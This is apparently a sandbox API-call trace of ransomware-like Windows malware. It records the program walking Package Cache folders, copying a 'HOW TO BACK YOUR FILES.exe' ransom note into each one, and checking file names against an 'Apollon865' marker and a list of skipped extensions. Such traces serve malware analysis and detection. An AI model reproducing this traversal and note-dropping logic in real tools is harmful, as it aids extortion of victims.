	[0050.557] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.557] GetLastError () returned 0x0
	[0050.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.557] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.557] CloseHandle (hObject=0x15c) returned 1
	[0050.557] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.557] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.557] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.558] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.558] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.558] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0050.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599c70
	[0050.558] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0050.558] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.558] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.558] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0050.558] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0050.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c70 | out: hHeap=0x580000) returned 1
	[0050.558] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0050.558] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned 87
	[0050.558] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0050.558] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.558] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.559] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.559] GetLastError () returned 0x0
	[0050.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.559] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.559] CloseHandle (hObject=0x15c) returned 1
	[0050.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.559] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.559] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.559] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.559] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.559] lstrcpyW (in: lpString1=0x2d3e600, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0050.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0050.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xda) returned 0x599c70
	[0050.559] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0050.559] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.559] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.559] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0050.559] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0050.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c70 | out: hHeap=0x580000) returned 1
	[0050.559] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0050.559] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned 108
	[0050.560] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0050.560] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.560] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.560] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.584] GetLastError () returned 0x0
	[0050.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.584] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.584] CloseHandle (hObject=0x15c) returned 1
	[0050.584] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.584] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.584] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.585] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.585] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.585] lstrcpyW (in: lpString1=0x2d3e62a, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.585] lstrlenW (lpString="cab1.cab") returned 8
	[0050.585] lstrlenW (lpString="Apollon865") returned 10
	[0050.585] lstrlenW (lpString=".dll") returned 4
	[0050.585] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.585] lstrlenW (lpString=".lnk") returned 4
	[0050.585] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.585] lstrlenW (lpString=".ini") returned 4
	[0050.585] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.585] lstrlenW (lpString=".sys") returned 4
	[0050.585] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.585] lstrlenW (lpString="cab1.cab") returned 8
	[0050.585] lstrcpyW (in: lpString1=0x2d3e62a, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
	[0050.585] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0050.585] lstrlenW (lpString="Apollon865") returned 10
	[0050.585] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0050.585] lstrlenW (lpString=".dll") returned 4
	[0050.585] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0050.585] lstrlenW (lpString=".lnk") returned 4
	[0050.585] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0050.585] lstrlenW (lpString=".ini") returned 4
	[0050.585] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0050.585] lstrlenW (lpString=".sys") returned 4
	[0050.585] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0050.586] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0050.586] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0050.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bc8 | out: hHeap=0x580000) returned 1
	[0050.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0050.586] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 78
	[0050.586] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0050.586] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.586] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.586] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.586] GetLastError () returned 0x0
	[0050.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.586] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.587] CloseHandle (hObject=0x15c) returned 1
	[0050.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.587] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.587] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.587] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.587] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.587] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0050.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599bc8
	[0050.587] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0050.587] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.587] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.587] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0050.587] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0050.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bc8 | out: hHeap=0x580000) returned 1
	[0050.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0050.587] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned 87
	[0050.587] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0050.587] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.587] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.588] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.588] GetLastError () returned 0x0
	[0050.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.588] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.588] CloseHandle (hObject=0x15c) returned 1
	[0050.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.588] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.588] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.588] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.588] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.588] lstrcpyW (in: lpString1=0x2d3e600, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0050.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0050.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe0) returned 0x599bc8
	[0050.588] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0050.588] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.589] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.589] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0050.589] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0050.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bc8 | out: hHeap=0x580000) returned 1
	[0050.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0050.589] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned 111
	[0050.589] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0050.589] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.589] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.589] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.589] GetLastError () returned 0x0
	[0050.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.589] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.590] CloseHandle (hObject=0x15c) returned 1
	[0050.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.590] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
